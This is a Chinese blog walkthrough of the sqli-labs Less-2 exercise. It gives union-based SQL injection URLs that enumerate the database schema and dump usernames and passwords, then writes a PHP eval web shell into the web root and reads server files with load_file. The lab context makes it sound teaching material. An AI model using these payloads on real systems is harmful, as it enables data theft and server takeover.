sqli-labs lesson-2

爱被打了一巴掌 2022-08-23 00:38 140阅读 0赞

1.测试注入点

http://172.16.19.146:8080/sqli-labs-master/Less-4/?id=1'

![这里写图片描述][20160602190621170]

2.猜测列数

http://172.16.19.146:8080/sqli-labs-master/Less-4/?id=1 order by 4

![这里写图片描述][20160602190859967]

http://172.16.19.146:8080/sqli-labs-master/Less-4/?id=1 order by 3

![这里写图片描述][20160602190950765]  
3.可以得出为三列猜测sql语句为

Select 1,2,3 from table where id=1 limit 0,1

4.爆出页面位置

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

![这里写图片描述][20160602191135531]

5.爆出数据库名

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  --

![这里写图片描述][20160602191348657]  
6.爆出某一数据库的表名字

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"  --

![这里写图片描述][20160602191504345]

7.爆出某表的字段

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"  --

![这里写图片描述][20160602191605706]  
8.爆出表内容

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,concat(username, " % ",password,id) from  users  limit 1,10 –

![这里写图片描述][20160602192105743]

9.爆出用户名

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,concat(database()," ",user())

![这里写图片描述][20160602191228625]

10.查看mysql数据库路径

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,@@basedir   --

![这里写图片描述][20160602192354466]  
11.查看系统版本

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select 1,2,@@version_compile_os   --

12.写入文件

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select  "<?php "," @eval($_POST['c']);", " ?>"  into  outfile "C:\\wamp\\www\\mmm.php" –

![这里写图片描述][20160602192549188]  
在执行一次  
![这里写图片描述][20160602192634380]  
13.读取特定的文件

http://172.16.19.146:8080/sqli-labs-master/Less-2/?id=-1 union select   1,load_file('c:\\wamp\\www\\index.php'),3  --

![这里写图片描述][20160602192737112]

OK 到此结束

[20160602190621170]: /images/20220722/6730e23eb90840b08541d057e1a991af.png
[20160602190859967]: /images/20220722/d9f7a0dff2d243cd8b3a69c85a99a3e2.png
[20160602190950765]: /images/20220722/88d825a1a0eb49a4aa831090b1a6faf1.png
[20160602191135531]: /images/20220722/839ccf08dae54da0bb88d1dba5177bfd.png
[20160602191348657]: /images/20220722/c7419d0362a5463dbfbf75a9d272ff8e.png
[20160602191504345]: /images/20220722/a28df0f240b848b4baf2c21afa360a6c.png
[20160602191605706]: /images/20220722/94df444f45bc45cfac858500efb52fac.png
[20160602192105743]: /images/20220722/c7995645a09c41f4a63870acff16715b.png
[20160602191228625]: /images/20220722/9ae1389043ff4b26bd44b3f2e7b96a9a.png
[20160602192354466]: /images/20220722/ade6ebb722864cc7abac579bed135280.png
[20160602192549188]: /images/20220722/1e4aab49b7b34168b20975f8ed23cfae.png
[20160602192634380]: /images/20220722/0cbe005e0bfe41168fd17cd6eefbc7dd.png
[20160602192737112]: /images/20220722/2bc36387813f4467895969ffccec80ce.png